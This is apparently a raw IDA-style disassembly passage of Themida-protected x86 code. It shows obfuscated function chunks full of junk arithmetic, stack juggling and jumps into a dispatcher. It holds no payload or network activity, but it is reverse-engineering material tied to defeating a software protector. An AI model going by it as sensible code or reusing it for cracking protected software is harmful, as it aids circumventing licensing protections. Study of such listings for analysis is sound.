		xor	ecx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 199A7780h
		jmp	loc_55BB4A
; ---------------------------------------------------------------------------


loc_551B0E:				; CODE XREF: Themida_:005536CEj
		add	esp, 4
		pop	esi
		push	575Ah
		mov	[esp], ebx
		mov	ebx, 4
		sub	esi, 26FB4E67h
		add	esi, ebx
		jmp	loc_55418A
; ---------------------------------------------------------------------------


loc_551B2F:				; CODE XREF: Themida_:00559453j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		cmp	cx, ax
		pushf
		jmp	loc_550A46

; =============== S U B	R O U T	I N E =======================================



sub_551B42	proc near		; CODE XREF: sub_556A70+295Cj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0055297C SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00554DAC SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0055549E SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00558FFB SIZE 00000028 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, 60104543h
		sub	esi, edi
		pop	edi
		dec	esi
		or	esi, 0EBE672Eh
		dec	esi
		xor	esi, 0E442C8Ch
		sub	edi, esi
		jmp	loc_554DAC
sub_551B42	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551B68:				; CODE XREF: sub_556A70+559Bj
		mov	ecx, 4
		sub	[esp+10h+var_C], 2F1E61DFh
		add	[esp+10h+var_C], ecx
		push	ebx
		mov	ebx, 2F1E61DFh
		add	[esp+14h+var_C], ebx
		pop	ebx
		pop	ecx
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		jmp	loc_553C31
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_551B97:				; CODE XREF: sub_5584F8+B4j
		sub	ebx, 4
		jmp	loc_5591E0
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------


loc_551B9F:				; CODE XREF: Themida_:00556615j
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		shr	ecx, 8
		inc	ecx
		xor	ecx, 7BE7483Ch
		jmp	loc_551D3E
; ---------------------------------------------------------------------------


loc_551BBB:				; CODE XREF: Themida_:0055A2E8j
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_55AF6B
; ---------------------------------------------------------------------------


loc_551BCF:				; CODE XREF: Themida_:005533ECj
		and	esi, 2E6D36DCh
		add	esi, 5FE876B8h
		sub	esi, 453C3711h
		add	esi, 0B70B9C1Dh
		add	ebx, 62A719CAh
		add	ebx, esi
		sub	ebx, 62A719CAh
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_551C0F:				; CODE XREF: Themida_:00555E4Dj
		pop	ebp
		and	edi, 39FB2FE4h
		push	edi
		not	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_559935
; ---------------------------------------------------------------------------


loc_551C29:				; CODE XREF: Themida_:00553138j
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_551C2E:				; CODE XREF: Themida_:005597A8j
		push	ecx
		jmp	loc_551E20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551C34:				; CODE XREF: sub_556A70-3CF6j
		mov	ebp, ecx
		pop	ecx
		jmp	loc_55B108
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_551C3C:				; CODE XREF: Themida_:005530A1j
		add	dh, ch
		jmp	loc_5583CF
; ---------------------------------------------------------------------------
		db  51h	; Q		; CODE XREF: Themida_:0055881Aj
		db 0FFh
		db  74h	; t
		db  24h	; $
		db    4
		db  59h	; Y
		db  8Fh	; ▐
		db    4
		db  24h	; $
		db 0E9h	; И
		db  16h
		db  7Ch	; |
		db    0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551C51:				; CODE XREF: sub_556A70-43D1j
		add	edx, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], ebp
		push	6EACh
		mov	[esp+0Ch+var_C], esi
		mov	esi, 2C801B7Ch
		push	ecx
		mov	ecx, 0
		jmp	loc_558B99
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_551C85:				; CODE XREF: Themida_:0055AAA5j
		sub	bl, al
		push	dx
		mov	dl, 34h
		sub	bl, dl
		jmp	loc_5512E1
; ---------------------------------------------------------------------------


loc_551C92:				; CODE XREF: Themida_:00554999j
		push	eax
		mov	eax, 30EA0916h
		xor	ebp, eax
		pop	eax
		push	eax
		mov	eax, 6CC97B8Fh
		inc	eax
		xor	eax, 7A8229C9h
		or	ebp, eax
		pop	eax
		add	ebp, 6DAB525Fh
		sub	eax, ebp
		pop	ebp
		jmp	loc_55296B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5539DB


loc_551CB8:				; CODE XREF: sub_5539DB+4E07j
		sub	edi, 1A75EBFh
		sub	edi, esi
		add	edi, 1A75EBFh
		jmp	loc_55406F
; END OF FUNCTION CHUNK	FOR sub_5539DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551CCB:				; CODE XREF: sub_556A70+1794j
		xor	edx, esi
		pop	esi
		add	ebx, edx
		pop	edx
		pop	ecx
		jmp	loc_5536B2
; ---------------------------------------------------------------------------


loc_551CD7:				; CODE XREF: sub_556A70-1DEEj
		add	eax, 3A8D70B0h
		add	eax, ebp
		jmp	loc_55A2ED
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553651


loc_551CE3:				; CODE XREF: sub_553651+4FCFj
		push	0FECh
		mov	[esp+8+var_8], edx
		push	80000h
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_55B004
; END OF FUNCTION CHUNK	FOR sub_553651
; ---------------------------------------------------------------------------


loc_551CFE:				; CODE XREF: Themida_:00557B5Bj
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551D03:				; CODE XREF: sub_556A70-327Aj
		pop	edx
		jmp	loc_556694
; ---------------------------------------------------------------------------


loc_551D09:				; CODE XREF: sub_556A70+78Aj
		push	dword ptr [esp+0]
		mov	ecx, [esp+4+var_4]
		jmp	loc_558C2B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_551D14:				; CODE XREF: Themida_:00550EEAj
		xor	ebx, 37A11035h
		push	15F2h
		mov	[esp], edx
		mov	edx, 21B0985h
		sub	esi, edx
		pop	edx
		add	esi, ebx
		push	edi
		mov	edi, 7A9B6B9Fh
		dec	edi
		sub	edi, 64A04D55h
		jmp	loc_553269
; ---------------------------------------------------------------------------


loc_551D3E:				; CODE XREF: Themida_:00551BB6j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0E46AB0h
		push	edi
		jmp	loc_554E2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551D4F:				; CODE XREF: sub_556A70+3EB6j
		pop	esi
		push	esi
		push	eax
		jmp	loc_557159
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_551D57:				; CODE XREF: Themida_:005511A0j
		add	eax, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_558F62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551D67:				; CODE XREF: sub_556A70-24A7j
		mov	bh, ch
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5573AC
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_551D77:				; CODE XREF: Themida_:005556AEj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	edx
		push	6202h
		mov	[esp], eax
		mov	eax, 27F904C4h
		sub	eax, 0CF70F731h
		mov	edx, eax
		pop	eax
		jmp	loc_5533D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551DA3:				; CODE XREF: sub_556A70+430Bj
		push	ecx
		mov	ch, 2Dh
		or	bh, ch
		jmp	loc_55B9EA
; ---------------------------------------------------------------------------


loc_551DAD:				; CODE XREF: sub_556A70-2D64j
		xor	esi, 717B70Eh
		mov	ebp, esi
		jmp	loc_5524BB
; ---------------------------------------------------------------------------


loc_551DBA:				; CODE XREF: sub_556A70-3A24j
		push	[esp+8+var_8]
		pop	eax
		add	esp, 4
		add	esp, 4
		xor	eax, edi
		push	dword ptr [esp+0]
		pop	edi
		add	esp, 4
		jmp	loc_556AC8
; ---------------------------------------------------------------------------


loc_551DD8:				; CODE XREF: sub_556A70+3317j
		and	edx, 374079FEh
		sub	edx, 313261A4h
		xor	ebx, edx
		pop	edx
		mov	eax, ebx
		pop	ebx
		add	eax, edx
		jmp	loc_55A5C8
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_551DF1:				; CODE XREF: Themida_:005525A9j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5583D5
; ---------------------------------------------------------------------------


loc_551E07:				; CODE XREF: Themida_:005526FFj
		pop	edx
		sub	edi, 9E4BD3BEh
		sub	ecx, edi
		pop	edi
		sub	eax, ecx
		pop	ecx
		push	ebp
		mov	ebp, 3226997h
		push	esi
		jmp	loc_555A1C
; ---------------------------------------------------------------------------


loc_551E20:				; CODE XREF: Themida_:00551C2Fj
		mov	ecx, 20163C5Fh
		jmp	loc_559126
; ---------------------------------------------------------------------------


loc_551E2A:				; CODE XREF: Themida_:00551922j
		xor	ecx, esi
		pop	esi
		jmp	loc_55359C
; ---------------------------------------------------------------------------


loc_551E32:				; CODE XREF: Themida_:00556A13j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_55655D
; ---------------------------------------------------------------------------


loc_551E41:				; CODE XREF: Themida_:0055C8D1j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5557CB
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_556166
; ---------------------------------------------------------------------------


loc_551E5C:				; CODE XREF: Themida_:00553F23j
		push	eax
		jmp	loc_55C0E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551E62:				; CODE XREF: sub_556A70+FD4j
		mov	bx, word ptr [esp-0Ch+arg_8]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	sub_559F87
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_551E74	proc near		; CODE XREF: sub_556A70+5DBCj

; FUNCTION CHUNK AT 0055170B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005548B7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00559518 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055A8D8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055B409 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055C1DB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055C61C SIZE 0000000A BYTES

		push	ebp
		mov	ebp, 6FC743D3h
		sub	ebx, ebp
		jmp	loc_55170B
sub_551E74	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559B2A


loc_551E81:				; CODE XREF: sub_559B2A-1561j
		pop	ebx
		add	esp, 4
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		mul	cx
		push	small 1351h
		mov	word ptr [esp-6+arg_0+2], dx
		push	ax
		pushf
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_559B2A
; ---------------------------------------------------------------------------


loc_551EA1:				; CODE XREF: Themida_:00555775j
		mov	ecx, esp
		sub	esp, 4
		jmp	loc_556B80
; ---------------------------------------------------------------------------


loc_551EAB:				; CODE XREF: Themida_:00557F8Bj
		push	787h
		mov	[esp], edx
		mov	edx, 4
		add	edi, edx
		jmp	loc_55B421
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5526D6


loc_551EBF:				; CODE XREF: sub_5526D6+6j
		inc	ebp
		jmp	loc_55C8B1
; END OF FUNCTION CHUNK	FOR sub_5526D6
; ---------------------------------------------------------------------------


loc_551EC5:				; CODE XREF: Themida_:005580AFj
		push	2934h
		mov	[esp], ebp
		push	1C1Eh
		jmp	loc_556B12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551ED7:				; CODE XREF: sub_556A70+4D93j
		push	eax
		jmp	sub_55CC90
; ---------------------------------------------------------------------------


loc_551EDD:				; CODE XREF: sub_556A70-1444j
		add	eax, ebx
		pop	ebx
		jmp	loc_55238C
; ---------------------------------------------------------------------------


loc_551EE5:				; CODE XREF: sub_556A70-DB0j
		add	esp, 4
		or	ebp, 3CED48C9h
		push	edi
		mov	edi, 47933B6Bh
		jmp	loc_557B68
; ---------------------------------------------------------------------------


loc_551EFC:				; CODE XREF: sub_556A70-6F6j
		xor	ebp, 0B2469DEh
		xor	edi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp-8+arg_4], ecx
		mov	ecx, 15080EBEh
		neg	ecx
		jmp	loc_556711
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		push	ebx
		mov	ebx, 4
		mov	ecx, ebx
		pop	ebx
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_559E69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5553D0


loc_551F3F:				; CODE XREF: sub_5553D0+Bj
		sub	bl, cl
		add	bl, 4Bh
		push	dword ptr [esp+0]
		jmp	loc_550B83
; END OF FUNCTION CHUNK	FOR sub_5553D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551F4C:				; CODE XREF: sub_556A70-5A1j
		shl	esi, 5
		xor	esi, 0F920DC44h
		mov	ebx, esi
		pop	esi
		jmp	loc_553D4B
; ---------------------------------------------------------------------------


loc_551F5D:				; CODE XREF: sub_556A70+1EBDj
		mov	edi, 6A258C7h
		xor	edi, 56F83CC0h
		inc	edi
		jmp	loc_55BE3C
; ---------------------------------------------------------------------------


loc_551F6E:				; CODE XREF: sub_556A70+2B8Dj
		mov	esp, [esp-0Ch+arg_8]
		jmp	loc_559789
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_551F76:				; CODE XREF: Themida_:00556053j
		mov	ecx, [esp]
		add	esp, 4
		sub	al, bl
		sub	al, 0EAh
		jmp	loc_557BDF
; ---------------------------------------------------------------------------


loc_551F88:				; CODE XREF: Themida_:00558DF0j
		pop	ecx
		push	ebx
		push	edi
		mov	edi, 3AD97456h
		jmp	loc_556B2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551F95:				; CODE XREF: sub_556A70-E01j
		push	ecx
		mov	ch, 85h
		add	ch, 6
		and	ch, 13h
		neg	ch
		dec	ch
		shr	ch, 6
		add	ch, 9Eh
		sub	esp, 4
		mov	[esp-4+arg_0], eax
		jmp	loc_55853C
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559CCC


loc_551FB6:				; CODE XREF: sub_559CCC+18j
		add	ebp, eax
		pop	eax
		xor	[esp+0Ch+var_8], ebp
		pop	ebp
		jmp	loc_557863
; END OF FUNCTION CHUNK	FOR sub_559CCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B730


loc_551FC3:				; CODE XREF: sub_55B730+6j
		mov	[esp+4+var_4], edx
		mov	edx, 3E9E41AAh
		sub	esp, 4
		mov	[esp+8+var_8], edx
		mov	ebx, [esp+8+var_8]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5566FB
; END OF FUNCTION CHUNK	FOR sub_55B730
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551FE8:				; CODE XREF: sub_556A70+47FEj
		pop	esp
		mov	[esp-8+arg_4], ebx
		push	[esp-8+arg_4]
		pop	eax
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_5524D4
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555903


loc_551FF8:				; CODE XREF: sub_555903-FF8j
		push	eax
		mov	eax, 4
		sub	esi, eax
		pop	eax
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp+8+var_8]
		add	esp, 4
		jmp	loc_554AC9
; END OF FUNCTION CHUNK	FOR sub_555903
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552011:				; CODE XREF: sub_556A70+4111j
		mov	[esp-4+arg_0], eax
		push	2
		pop	eax
		mov	ebp, eax
		jmp	loc_5550B1
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5566B9


loc_552021:				; CODE XREF: sub_5566B9+4C3Dj
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_55630E
; END OF FUNCTION CHUNK	FOR sub_5566B9
; ---------------------------------------------------------------------------


loc_55202A:				; CODE XREF: Themida_:0055130Bj
		dec	dl
		xor	dl, 0F5h
		sub	dl, 0F8h
		sub	bh, dl
		jmp	loc_554D0C
; ---------------------------------------------------------------------------


loc_552039:				; CODE XREF: Themida_:00553BE4j
		mov	edi, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1EFD6E3Dh
		push	esi
		mov	esi, 44AF663Ah
		sub	eax, esi
		pop	esi
		neg	eax
		jmp	loc_55BD35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552059:				; CODE XREF: sub_556A70+233Bj
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_55205E:				; CODE XREF: sub_5584F8+3j
		mov	[esp+0], ebx
		jmp	loc_550D15
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552066:				; CODE XREF: sub_556A70+864j
		sub	edx, eax
		push	ecx
		mov	ecx, 1BE04B6Ah
		sub	edx, ecx
		push	dword ptr [esp+0]
		pop	ecx
		push	466Fh
		mov	[esp+4+var_4], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_55A467
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552089:				; CODE XREF: Themida_:00555AD3j
		add	ebp, eax
		sub	ebp, 2332465Ch
		add	ebp, 304B73h
		pop	eax
		sub	esp, 4
		jmp	loc_55C95A
; ---------------------------------------------------------------------------


loc_5520A3:				; CODE XREF: Themida_:0055A4E8j
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 3B4C02ACh
		neg	ebp
		jmp	loc_55B808
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5520BA:				; CODE XREF: sub_556A70+86Bj
		movzx	eax, al
		mov	dx, word ptr [esp+4+var_4]
		push	eax
		jmp	loc_555410
; ---------------------------------------------------------------------------


loc_5520C7:				; CODE XREF: sub_556A70+396Fj
		add	esp, 4
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		add	edx, 4
		jmp	loc_55781C
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5520DE:				; CODE XREF: Themida_:0055C8F6j
		neg	ah
		xor	ah, 9Ch
		shl	ah, 1
		and	ah, 0B1h
		or	ah, 8Bh
		sub	ah, 30h
		mov	cl, ah
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_550C2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5520FE:				; CODE XREF: sub_556A70-E18j
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_8]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5517BB
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552115:				; CODE XREF: Themida_:00559FAAj
		xor	ebp, 0F314990h
		and	ebp, 405E440Fh
		dec	ebp
		jmp	loc_5533F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552127:				; CODE XREF: sub_556A70-406Bj
		mov	edi, 6BC4799Bh
		xor	edi, 659C5155h
		or	edi, 19D726B2h
		not	edi
		dec	edi
		neg	edi
		push	esi
		mov	esi, 0BDF1EA80h
		sub	edi, esi
		jmp	loc_554AF7
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55214A:				; CODE XREF: Themida_:00559816j
		add	ebx, 330531D2h
		add	ebx, ebp
		sub	ebx, 330531D2h
		pop	ebp
		push	eax
		mov	eax, 261F66C1h
		sub	eax, 1
		neg	eax
		and	eax, 7F1C75DAh
		inc	eax
		add	eax, 0A6FFEEC1h
		sub	ebx, 59D2128Dh
		add	ebx, eax
		add	ebx, 59D2128Dh
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_559510
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552189:				; CODE XREF: sub_556A70+5E34j
		pop	esp
		xor	al, bl
		jmp	loc_55BCBD
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552E24


loc_552191:				; CODE XREF: sub_552E24+8CD1j
		pop	eax
		add	esp, 4
		push	[esp-4+arg_0]
		mov	esi, [esp+0]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	sub_55A6CD
; END OF FUNCTION CHUNK	FOR sub_552E24

; =============== S U B	R O U T	I N E =======================================



sub_5521AC	proc near		; CODE XREF: sub_553B60+5CA5j

; FUNCTION CHUNK AT 0055462B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00555378 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055857D SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00559A78 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055CF71 SIZE 0000000B BYTES

		push	ebx
		mov	bh, 91h
		sub	ch, bh
		pop	ebx
		or	bh, ch
		pop	ecx
		inc	bh
		jmp	loc_55462B
sub_5521AC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5521BC:				; CODE XREF: sub_556A70-3C20j
		add	ecx, 4
		push	ecx
		push	[esp+0Ch+var_8]
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_552F7D
; ---------------------------------------------------------------------------


loc_5521D2:				; CODE XREF: sub_556A70+5CA9j
		mov	ch, 24h
		add	bl, ch
		jmp	loc_5584A3
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5521DB:				; CODE XREF: Themida_:0055358Fj
		pop	edx
		add	al, bl
		push	0E53h
		jmp	loc_555B7A
; ---------------------------------------------------------------------------


loc_5521E8:				; CODE XREF: Themida_:00559DE8j
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_557F98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552201:				; CODE XREF: sub_556A70-3591j
		push	1888h
		mov	[esp+10h+var_10], edi
		mov	edi, 1BE04B6Ah
		add	edx, edi
		push	[esp+10h+var_10]
		pop	edi
		jmp	loc_5572CE
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552219:				; CODE XREF: Themida_:00552A1Dj
		push	5D81h
		mov	[esp], eax
		jmp	loc_55B75B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5516F8


loc_552226:				; CODE XREF: sub_5516F8+E23j
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		push	edx
		pop	edi
		pop	edx
		sub	esp, 4
		mov	[esp+0], ecx
		push	edx
		mov	edx, 2E1330A6h
		push	eax
		mov	eax, 5D452061h
		dec	eax
		jmp	loc_5561D2
; END OF FUNCTION CHUNK	FOR sub_5516F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552248:				; CODE XREF: sub_556A70-2FA1j
		inc	ebp
		jmp	loc_551322
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55224E:				; CODE XREF: Themida_:005525D9j
		sub	esi, 13165436h
		add	esi, edi
		add	esi, 13165436h
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_55408F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559F87


loc_552267:				; CODE XREF: sub_559F87+2A8Ej
		add	cl, dl
		pop	edx
		jmp	loc_553C1F
; END OF FUNCTION CHUNK	FOR sub_559F87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55226F:				; CODE XREF: sub_556A70+5D76j
		mov	ebp, 58387D89h
		sub	edx, ebp
		pop	ebp
		pop	eax
		sub	eax, edx
		jmp	loc_556739
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_55227F	proc near		; CODE XREF: sub_556A70-50FAj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005550D7 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0055B030 SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		pop	esi
		push	edi
		mov	edi, esi
		push	edi
		add	[esp+8+var_8], 1A273945h
		jmp	loc_5550D7
sub_55227F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55A4E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55229F:				; CODE XREF: sub_556A70-3054j
		xchg	ebp, [esp+8+var_8]
		jmp	loc_5580F7
; ---------------------------------------------------------------------------


loc_5522A7:				; CODE XREF: sub_556A70+2C39j
		sub	bx, bp
		push	[esp+8+var_8]
		pop	ebp
		jmp	loc_555E52
; ---------------------------------------------------------------------------


loc_5522B3:				; CODE XREF: sub_556A70-51D4j
		mov	[esp+0Ch+var_C], edx
		mov	edx, 61A3051Eh
		sub	edx, 1
		xor	edx, 1AA629CFh
		add	esi, edx
		pop	edx
		add	esi, 1
		jmp	loc_55BF84
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5522CF:				; CODE XREF: Themida_:00552BB6j
		add	eax, ebx
		add	eax, 5FE01CD6h
		add	eax, 6C1A3E74h
		push	3A06h
		jmp	loc_5592EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5522E5:				; CODE XREF: sub_556A70-2BB9j
		mov	ecx, [esp+8+var_8]
		jmp	sub_5530EF
; ---------------------------------------------------------------------------


loc_5522ED:				; CODE XREF: sub_556A70-53EDj
		xor	edi, 20E1395Ch
		inc	edi
		push	4BCFh
		mov	[esp+4+var_4], edx
		mov	edx, 0B88A9998h
		jmp	loc_557721
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552306:				; CODE XREF: Themida_:0055555Fj
		pop	edi
		xor	edx, 7DCE4BAFh
		jmp	loc_55859D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552312:				; CODE XREF: sub_556A70+5CFj
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		not	al
		jmp	loc_557C60
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554BBA


loc_55231F:				; CODE XREF: sub_554BBA+5BB2j
		pop	esp
		pop	ebp
		mov	ebx, ecx
		mov	ecx, [esp-8+arg_4]
		add	esp, 4
		and	ecx, ebx
		jmp	loc_552826
; END OF FUNCTION CHUNK	FOR sub_554BBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552330:				; CODE XREF: sub_556A70+B57j
		and	ecx, esi
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_554D14
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


